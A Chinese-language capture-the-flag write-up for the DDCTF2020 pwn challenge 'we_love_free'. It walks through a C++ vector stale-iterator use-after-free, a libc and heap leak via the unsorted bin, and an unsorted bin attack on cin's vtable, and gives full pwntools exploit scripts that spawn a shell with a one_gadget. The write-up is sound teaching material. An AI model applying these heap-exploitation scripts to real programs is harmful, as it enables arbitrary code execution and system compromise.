CTF-PWN

DDCTF2020-PWN-we_love_free

2020-09-09  本文已影响0人  Nevv

本题涉及的知识点有vector的内存分配机制,malloc conlisdate的触发条件以及unsorted bin attackd和c++虚表

vector

template<class _Ty,
    class _Ax>
    class vector
        : public _Vector_val<_Ty, _Ax>
    {   // varying size array of values
public:
    /********/
protected:
    pointer _Myfirst;   // pointer to beginning of array
    pointer _Mylast;    // pointer to current end of sequence
    pointer _Myend; // pointer to end of array
    }

vector 的扩容规则是1,2,4,8,16,32,依次乘2个元素的时候会先申请新的空间,在把原来的数据拷贝到新申请的空间中,在释放原先的空间,对应申请的堆块大小(加上头部)0x20,0x20,0x30,0x50,0x90…..

函数add

unsigned __int64 add()
{
  __int64 v0; // rax
  char v2; // [rsp+0h] [rbp-10h]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Input your num:");
  std::istream::operator>>(&std::cin, &v2);
  emplace_back((__int64)&vector_605380, (__int64)&v2);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "ok!");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  return __readfsqword(0x28u) ^ v3;
}

每次添加一个元素,这里注意下emplace_back的实现,会比较当前容器的容量和end指针大小,如果没有剩余的空间就会重新扩展容器,否则将元素添加到末尾。

函数show

unsigned __int64 show()
{
  v8 = 1;
  iterator = vector_605380;                 // 漏洞点
  push__back((__int64)&vector_605380, 0xAABBCCDDLL);
  v9 =  vector_605380 + 8;
  qword_6053A0 = *(vector_605380 + 8) - 8 // 相当于取倒数第二个位置
  while ( cmp_value((__int64)&iterator, (__int64)&qword_6053A0) )
  {
    v0 = *(_QWORD *)get_addr((__int64)&iterator);
    cout<<v8++<<":"<<v0<<endl;
    cout<<"Edit (y/n):";
    v7 = cin;
    if ( v7 == 'y' )
    {
      *iterator = cin;
    }
    iterator += 8;
  }
}
0x605380:   0x0000000000ed4c20  0x0000000000ed4c28
             【vector结构的start】   【vector结构的end】
0x605390:   0x0000000000ed4c28  0x0000000000000000
                【vector结构的capacity】         【iterator】

pwndbg> x /40gx 0x0000000000ed4c00
0xed4c00:   0x0000000000000000  0x0000000000000000
0xed4c10:   0x0000000000000000  0x0000000000000021
0xed4c20:   0x000000000000000b  0x0000000000000000
0xed4c30:   0x0000000000000000  0x00000000000203d1

然后show,会添加一个元素,之前申请的大小不够用(capacity - end < 8),会将0xed4c10处的chunk释放掉重新分配一个chunk(虽然第一次申请的chunk大小其实够用,但是其容量是根据capacity - end 计算的,因此会重新申请)

pwndbg> x /30gx 0x605380
0x605380:   0x0000000000ed4c40  0x0000000000ed4c50
0x605390:   0x0000000000ed4c50  0x0000000000ed4c20
0x6053a0:   0x0000000000ed4c48
pwndbg> x /40gx 0x0000000000ed4c00
0xed4c00:   0x0000000000000000  0x0000000000000000
0xed4c10:   0x0000000000000000  0x0000000000000021  // freed chunk
0xed4c20:   0x0000000000000000  0x0000000000000000
0xed4c30:   0x0000000000000000  0x0000000000000021  // new chunk
0xed4c40:   0x000000000000000b  0x00000000aabbccdd
0xed4c50:   0x0000000000000000  0x00000000000203b1

漏洞点1

unsigned __int64 show()
{
  v8 = 1;
  iterator = vector_605380;                 // 漏洞点
  push__back((__int64)&vector_605380, 0xAABBCCDDLL);
  v9 =  vector_605380 + 8;
  qword_6053A0 = *(vector_605380 + 8) - 8 // 相当于取倒数第二个位置
  while ( cmp_value((__int64)&iterator, (__int64)&qword_6053A0) )
  {
    v0 = *(_QWORD *)get_addr((__int64)&iterator);
    cout<<v8++<<":"<<v0<<endl;
    cout<<"Edit (y/n):";
    v7 = cin;
    if ( v7 == 'y' )
    {
      *iterator = cin;
    }
    iterator += 8;
  }
}

漏洞点1利用

既然存在越界读,那么可以尝试构造一个unsortbin来leak出libc的地址:

pwndbg> x /30gx 0x605380
0x605380:   0x0000000001b6dce0  0x0000000001b6dd60
0x605390:   0x0000000001b6dd60  0x0000000000000000
pwndbg> x /90gx 0x1b6dcd0
0x1b6dcd0:  0x0000000000000000  0x0000000000000091
0x1b6dce0:  0x0000000000000000  0x0000000000000001
0x1b6dcf0:  0x0000000000000002  0x0000000000000003
0x1b6dd00:  0x0000000000000004  0x0000000000000005
0x1b6dd10:  0x0000000000000006  0x0000000000000007
0x1b6dd20:  0x0000000000000008  0x0000000000000009
0x1b6dd30:  0x000000000000000a  0x000000000000000b
0x1b6dd40:  0x000000000000000c  0x000000000000000d
0x1b6dd50:  0x000000000000000e  0x000000000000000f
0x1b6dd60:  0x0000000000000000  0x00000000000202a1

pwndbg> bins
fastbins
0x20: 0x1ae3c30 —▸ 0x1ae3c10 ◂— 0x0
0x30: 0x1ae3c50 ◂— 0x0
0x40: 0x0
0x50: 0x1ae3c80 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x1ae3cd0 —▸ 0x7f60b55e4b78 (main_arena+88) ◂— 0x1ae3cd0
smallbins
empty
largebins
empty
pwndbg> x /90gx 0x1ae3c10
0x1ae3c10:  0x0000000000000000  0x0000000000000021
0x1ae3c20:  0x0000000000000000  0x0000000000000000
0x1ae3c30:  0x0000000000000000  0x0000000000000021
0x1ae3c40:  0x0000000001ae3c10  0x0000000000000001
0x1ae3c50:  0x0000000000000000  0x0000000000000031
0x1ae3c60:  0x0000000000000000  0x0000000000000001
0x1ae3c70:  0x0000000000000002  0x0000000000000003
0x1ae3c80:  0x0000000000000000  0x0000000000000051
0x1ae3c90:  0x0000000000000000  0x0000000000000001
0x1ae3ca0:  0x0000000000000002  0x0000000000000003
0x1ae3cb0:  0x0000000000000004  0x0000000000000005
0x1ae3cc0:  0x0000000000000006  0x0000000000000007
0x1ae3cd0:  0x0000000000000000  0x0000000000000091    // free chunk
0x1ae3ce0:  0x00007f60b55e4b78  0x00007f60b55e4b78
0x1ae3cf0:  0x0000000000000002  0x0000000000000003
0x1ae3d00:  0x0000000000000004  0x0000000000000005
0x1ae3d10:  0x0000000000000006  0x0000000000000007
0x1ae3d20:  0x0000000000000008  0x0000000000000009
0x1ae3d30:  0x000000000000000a  0x000000000000000b
0x1ae3d40:  0x000000000000000c  0x000000000000000d
0x1ae3d50:  0x000000000000000e  0x000000000000000f
0x1ae3d60:  0x0000000000000090  0x0000000000000110
0x1ae3d70:  0x0000000000000000  0x0000000000000001    // new chunk
0x1ae3d80:  0x0000000000000002  0x0000000000000003
0x1ae3d90:  0x0000000000000004  0x0000000000000005
0x1ae3da0:  0x0000000000000006  0x0000000000000007
0x1ae3db0:  0x0000000000000008  0x0000000000000009
0x1ae3dc0:  0x000000000000000a  0x000000000000000b
0x1ae3dd0:  0x000000000000000c  0x000000000000000d
0x1ae3de0:  0x000000000000000e  0x000000000000000f
0x1ae3df0:  0x0000000000000010  0x0000000000000000
0x1ae3e00:  0x0000000000000000  0x0000000000000000
0x1ae3e10:  0x0000000000000000  0x0000000000000000
0x1ae3e20:  0x0000000000000000  0x0000000000000000
0x1ae3e30:  0x0000000000000000  0x0000000000000000
0x1ae3e40:  0x0000000000000000  0x0000000000000000
0x1ae3e50:  0x0000000000000000  0x0000000000000000
0x1ae3e60:  0x0000000000000000  0x0000000000000000
0x1ae3e70:  0x0000000000000000  0x0000000000020191
pwndbg> x /30gx 0x605380
0x605380:   0x0000000001ae3d70  0x0000000001ae3df8
0x605390:   0x0000000001ae3e70  0x0000000000000000
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00:  0x0000000000000000  0x0000000000000000
0x1ae3c10:  0x0000000000000000  0x00000000000203f1
0x1ae3c20:  0x00007f60b55e4b78  0x00007f60b55e4b78
0x1ae3c30:  0x0000000000000000  0x0000000000000021
0x1ae3c40:  0x00007f60b55e4b78  0x00007f60b55e4b78
0x1ae3c50:  0x0000000000000040  0x0000000000000030
0x1ae3c60:  0x0000000000000000  0x0000000000000001
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00:  0x0000000000000000  0x0000000000000000
0x1ae3c10:  0x0000000000000000  0x0000000000000021
0x1ae3c20:  0x0000000000000001  0x00007f60b55e4b78
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00:  0x0000000000000000  0x0000000000000000
0x1ae3c10:  0x0000000000000000  0x0000000000000021   
0x1ae3c20:  0x0000000000000000  0x00007f60b55e4b78
                        【old iterator】
0x1ae3c30:  0x0000000000000000  0x0000000000000021
0x1ae3c40:  0x0000000000000001  0x00000000aabbccdd
0x1ae3c50:  0x0000000000000040  0x00000000000203b1
pwndbg> x /30gx 0x605380
0x605380:   0x0000000001ae3c40  0x0000000001ae3c50
0x605390:   0x0000000001ae3c50  0x0000000001ae3c20
0x6053a0:   0x0000000001ae3c48  0x0000000000000000
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00:  0x0000000000000000  0x0000000000000000
0x1ae3c10:  0x0000000000000000  0x0000000000000021
0x1ae3c20:  0x0000000000000000  0x00007f60b55e4b78
0x1ae3c30:  0x0000000000000000  0x0000000000000021
0x1ae3c40:  0x0000000001ae3c10  0x00000000aabbccdd
0x1ae3c50:  0x0000000000000040  0x0000000000000031
0x1ae3c60:  0x0000000000000001  0x00000000aabbccdd
0x1ae3c70:  0x00000000aabbccdd  0x0000000000000003
0x1ae3c80:  0x0000000000000070  0x0000000000020381
pwndbg> x /30gx 0x605380
0x605380:   0x0000000001ae3c60  0x0000000001ae3c78
0x605390:   0x0000000001ae3c80  0x0000000001ae3c40
0x6053a0:   0x0000000001ae3c70  0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x1ae3c30 —▸ 0x1ae3c10 ◂— 0x0  
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn1')
elf = ELF('./pwn1')
  
def add(num):
    p.recv()
    p.sendline("1")
    p.recv()
    p.sendline(num)

def clear():
    p.recv()
    p.sendline("3")

for x in range(17):
    add(str(x))

clear()
add(str(1))
p.recv()
p.sendline("2")
p.recv()
p.sendline("n")
p.recvuntil("2:")
libc = p.recv()
libc = long(libc.replace('\nEdit (y/n):',"")) - 0x6cdb78
print 'libc ===>> ',hex(libc)
for x in range(4):
    p.sendline("n")

p.sendline("2")
p.recvuntil("1:")
heap = p.recv()
heap = long(heap.replace('\nEdit (y/n):',"")) - 0x11c10
print 'heap ===>> ',hex(heap)
for x in range(6):
    p.sendline("n")

gdb.attach(p)
p.interactive()

漏洞点2

利用push_back可能导致容器重新分配空间的机制,以及iteractor是在push_back之前计算的,因此可以在show的时候进行UAF,篡改堆块的头部,构造unsorted bin attack覆写cin或者cout的虚表

漏洞点2利用

for x in range(16):
    add(str(x))
"""
0xd6ecd0:   0x0000000000000000  0x0000000000000091  // start   freed chunk
0xd6ece0:   0x00007ff4f6240b78  0x00007ff4f6240b78
0xd6ecf0:   0x0000000000000002  0x0000000000000003
0xd6ed00:   0x0000000000000004  0x0000000000000005
0xd6ed10:   0x0000000000000006  0x0000000000000007
0xd6ed20:   0x0000000000000008  0x0000000000000009
0xd6ed30:   0x000000000000000a  0x000000000000000b
0xd6ed40:   0x000000000000000c  0x000000000000000d
0xd6ed50:   0x000000000000000e  0x000000000000000f
0xd6ed60:   0x0000000000000090  0x0000000000000110 // after push_back extend chunk
0xd6ed70:   0x0000000000000000  0x0000000000000001 // we can modify this size 
0xd6ed80:   0x0000000000000002  0x0000000000000003
0xd6ed90:   0x0000000000000004  0x0000000000000005
0xd6eda0:   0x0000000000000006  0x0000000000000007
0xd6edb0:   0x0000000000000008  0x0000000000000009
0xd6edc0:   0x000000000000000a  0x000000000000000b
0xd6edd0:   0x000000000000000c  0x000000000000000d
"""
p.sendline("2")
p.recv()
p.sendline("n")


p.recv()
p.sendline("y")
p.sendline(str(0x6051f8-0x10)) # freed chunk bk

for x in range(32):
    p.sendline("y")
    p.sendline(str(0x71))  # change uesd chunk smaller

clear()

# malloc a 0x90 unsorted bin 
for i in range(0x8):
    add(str(0xcafebabedeadbeef))

# add another one will free the unsorted bin malloced before and trigger malloc_consolidate
# and malloc_consolidate will wirte bk-0x10 with 
add(str(0xcafebabedeadbeef))
gdb.attach(p)
p.interactive()

unsortd bin acttack

main_arene->bk --> unsortd bin的首个chunk

victim = unsorted_chunks(av)->bk // victim为free掉的p 
bck = victim->bk;  // bck 为 任意地址 -0x10    // cin的虚表-0x10
unsorted_chunks(av)->bk = bck; // 调整链表
bck->fd = unsorted_chunks(av); //  任意地址 -0x10 + 0x10 = unsortedbin
// 而unsortedbin对应的内存地址上可以是我们提前布置好的内容

调试cin虚表

在data段上有指针指向他们虚表, 原本的执行情况:

0x6051e0 <_ZSt3cin+224>:    0x00007fbbb4be67a0  0x0000000000605240
0x6051f0 <_ZSt3cin+240>:    0x0000000000000000  0x00007fbbb4be47c0  // 覆写位置 虚表
0x605200 <_ZSt3cin+256>:    0x00007fbbb4be61c0  0x00007fbbb4be6150
0x605210 <_ZSt3cin+272>:    0x00007fbbb4be6160  0x0000000000000000
0x605220 <stdin>:   0x00007fbbb464a8e0  0x0000000000000000
0x605230:   0x0000000000000000  0x0000000000000000
pwndbg> x /10gx 0x00007fbbb4be47c0
0x7fbbb4be47c0: 0x00007fbbb4bde080  0x0000000000000000
0x7fbbb4be47d0: 0x0000000000000000  0x0000000000000000
0x7fbbb4be47e0: 0x0000000000000000  0x0000000000000000
0x7fbbb4be47f0: 0x0000000000000000  0x00007fbbb4be67a0      // 执行的代码
0x7fbbb4be4800: 0x00007fbbb464a8e0  0x000000000000000a

使用unsorted bin attack修改其为main arena的一个地址,会报错:Invalid address 0x4148

0x6051e0 <_ZSt3cin+224>:    0x00007fcbfc6fc7a0  0x0000000000605240
0x6051f0 <_ZSt3cin+240>:    0x0000000000000000  0x00007fcbfc160b78  // unsorted bin attack
0x605200 <_ZSt3cin+256>:    0x00007fcbfc6fc1c0  0x00007fcbfc6fc150
0x605210 <_ZSt3cin+272>:    0x00007fcbfc6fc160  0x0000000000000000
0x605220 <stdin>:   0x00007fcbfc1608e0  0x0000000000000000
0x605230:   0x0000000000000000  0x0000000000000000
pwndbg> x /gx 0x00007fcbfc160b78
0x7fcbfc160b78 <main_arena+88>: 0x0000000000f3fe70
pwndbg> x /30gx 0x0000000000f3fe70
0xf3fe70:   0x00000000000001a0  0x0000000000020191
0xf3fe80:   0x0000000000004141  0x0000000000004142
0xf3fe90:   0x0000000000004143  0x0000000000004144
0xf3fea0:   0x0000000000004145  0x0000000000004146
0xf3feb0:   0x0000000000004147  0x0000000000004148  // 实际代码执行位置

因此只需要提前布置onshot即可

exp

#!/usr/bin/env python

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn1')
elf = ELF('./pwn1')


def add(num):
    p.recv()
    p.sendline("1")
    p.recv()
    p.sendline(num)

def clear():
    p.recv()
    p.sendline("3")

for x in range(17):
    add(str(x))

clear()
add(str(1))

p.recv()
p.sendline("2")
p.recv()
p.sendline("n")

p.recvuntil("2:")
libc = p.recv()
libc = long(libc.replace('\nEdit (y/n):',"")) - 0x6cdb78 + 0x309000
print 'libc ===>> ',hex(libc)

for x in range(4):
    p.sendline("n")

p.sendline("2")
p.recvuntil("1:")
heap = p.recv()
heap = long(heap.replace('\nEdit (y/n):',"")) - 0x11c10
print 'heap ===>> ',hex(heap)

for x in range(6):
    p.sendline("n")

clear()

for i in range(0x21):
    add(str(0x4526a+libc))
clear()

for x in range(16):
    add(str(x))
"""
0xd6ecd0:   0x0000000000000000  0x0000000000000091  // start   freed chunk
0xd6ece0:   0x00007ff4f6240b78  0x00007ff4f6240b78
0xd6ecf0:   0x0000000000000002  0x0000000000000003
0xd6ed00:   0x0000000000000004  0x0000000000000005
0xd6ed10:   0x0000000000000006  0x0000000000000007
0xd6ed20:   0x0000000000000008  0x0000000000000009
0xd6ed30:   0x000000000000000a  0x000000000000000b
0xd6ed40:   0x000000000000000c  0x000000000000000d
0xd6ed50:   0x000000000000000e  0x000000000000000f
0xd6ed60:   0x0000000000000090  0x0000000000000110 // after push_back extend chunk
0xd6ed70:   0x0000000000000000  0x0000000000000001 // we can modify this size 
0xd6ed80:   0x0000000000000002  0x0000000000000003
0xd6ed90:   0x0000000000000004  0x0000000000000005
0xd6eda0:   0x0000000000000006  0x0000000000000007
0xd6edb0:   0x0000000000000008  0x0000000000000009
0xd6edc0:   0x000000000000000a  0x000000000000000b
0xd6edd0:   0x000000000000000c  0x000000000000000d
"""
p.sendline("2")
p.recv()
p.sendline("n")


p.recv()
p.sendline("y")
p.sendline(str(0x6051f8-0x10)) # freed chunk bk

for x in range(32):
    p.sendline("y")
    p.sendline(str(0x71))  # change uesd chunk smaller

clear()

# malloc a 0x90 unsorted bin 
for i in range(0x8):
    add(str(0xcafebabedeadbeef))

# add another one will free the unsorted bin malloced before and trigger malloc_consolidate
# and malloc_consolidate will wirte bk-0x10 with 
add(str(0xcafebabedeadbeef))
gdb.attach(p)
p.interactive()

"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ) // ok
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

"""

参考

上一篇下一篇

猜你喜欢

热点阅读